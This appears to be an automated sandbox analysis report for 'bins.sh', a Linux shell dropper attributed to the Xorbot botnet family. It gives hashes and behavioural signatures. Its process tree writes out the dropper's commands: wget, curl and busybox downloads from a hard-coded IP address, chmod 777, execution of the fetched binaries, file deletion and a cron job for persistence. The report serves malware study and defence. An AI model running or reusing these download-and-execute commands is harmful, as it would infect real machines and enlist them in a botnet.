Analysis
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max time kernel
149s -
max time network
152s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
04/12/2024, 08:52
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
ef3b5b8d03ad9b64895750001a9a9f81
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SHA1
67905e0b7ab0f9251c5591a53ab0efbfbe4aba7e
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SHA256
cd567b9f3db24e8d535579d9dc2205d9730046834635074acae74277fe2460de
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SHA512
d3430b5354703e133e906aa7f15d186f6c5d79914f465decabb603b16269e41a7ee63647e3209ecd66c7fd619266a50b6de934825d1cbc9becc66c20398c529f
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SSDEEP
96:LVc68OcK8INtzVZ7Tjl9P3/Mwyq+zVc68OcK8INuFS0AVhX7DE7PneP3/Mw0q+s+:LxzVZvjl9P3/MwyjVc2P3/Mw6
Malware Config
Signatures
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resource yara_rule behavioral1/files/fstream-1.dat family_xorbot behavioral1/files/fstream-3.dat family_xorbot -
Xorbot family
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Contacts a large (2156) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1501 chmod 1515 chmod -
Executes dropped EXE 2 IoCs
ioc pid Process /tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj 1502 OXVxT5hUBFD9egbouowK0UOvExtshC3jGj /tmp/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 1516 YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 -
Renames itself 1 IoCs
pid Process 1517 YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.RK99HG crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/166/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1490/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1666/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1667/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/539/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1538/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1615/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1624/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1626/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1724/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1749/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/9/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1253/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1549/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1573/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1668/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1725/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/5/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1660/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1717/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/35/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/172/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/545/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1141/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1554/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1698/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/17/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/439/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/710/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1087/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1719/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1736/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/22/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/558/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/4/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/129/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1589/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1653/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1691/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/23/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1599/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1640/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1647/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1671/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1757/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1606/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1611/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/30/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/180/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/604/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/668/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/953/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1480/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/13/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/32/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/164/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1543/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1616/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1673/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/18/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1545/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1592/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1598/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 File opened for reading /proc/1602/cmdline YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 -
Writes file to tmp directory 6 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj wget File opened for modification /tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj curl File opened for modification /tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj busybox File opened for modification /tmp/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 wget File opened for modification /tmp/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 curl File opened for modification /tmp/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6 busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:1484
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/bin/rm/bin/rm bins.sh2⤵PID:1485
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/usr/bin/wgetwget http://216.126.231.240/bins/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj2⤵
- Writes file to tmp directory
PID:1486
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/usr/bin/curlcurl -O http://216.126.231.240/bins/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj2⤵
- Writes file to tmp directory
PID:1491
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj2⤵
- Writes file to tmp directory
PID:1500
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/bin/chmodchmod 777 OXVxT5hUBFD9egbouowK0UOvExtshC3jGj2⤵
- File and Directory Permissions Modification
PID:1501
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/tmp/OXVxT5hUBFD9egbouowK0UOvExtshC3jGj./OXVxT5hUBFD9egbouowK0UOvExtshC3jGj2⤵
- Executes dropped EXE
PID:1502
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/bin/rmrm OXVxT5hUBFD9egbouowK0UOvExtshC3jGj2⤵PID:1504
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/usr/bin/wgetwget http://216.126.231.240/bins/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G62⤵
- Writes file to tmp directory
PID:1505
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/usr/bin/curlcurl -O http://216.126.231.240/bins/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G62⤵
- Writes file to tmp directory
PID:1513
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G62⤵
- Writes file to tmp directory
PID:1514
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/bin/chmodchmod 777 YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G62⤵
- File and Directory Permissions Modification
PID:1515
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/tmp/YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G6./YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G62⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1516 -
/bin/shsh -c "crontab -l"3⤵PID:1518
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/usr/bin/crontabcrontab -l4⤵PID:1519
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/bin/shsh -c "crontab -"3⤵PID:1520
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1521
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/bin/rmrm YgNxYZKlv3u6xMFEhctcheQmfJyTlw12G62⤵PID:1523
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/usr/bin/wgetwget http://216.126.231.240/bins/a0wubK2TzV0i7LK0iHvF93vpMmsRUZHzE92⤵PID:1526
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
210B
MD5315fd87c44bdd4e0e86e988caeaaf603
SHA141196bcf5b91dc03c002752d9d39da182d733fa3
SHA256e0f59b1dbce00ca5730878f5e66c7ca77270a6762e3b72df64419c1fe6c1d19d
SHA512eb1b50db9b1bf8cb2827f34d3de2c6756ce0072a691bdfcefac5ea24cdb1f47becbd6c4b0def2a69b7b9909fe3ce59ec897249e6d67e6f986cd9ca03ca5f63b1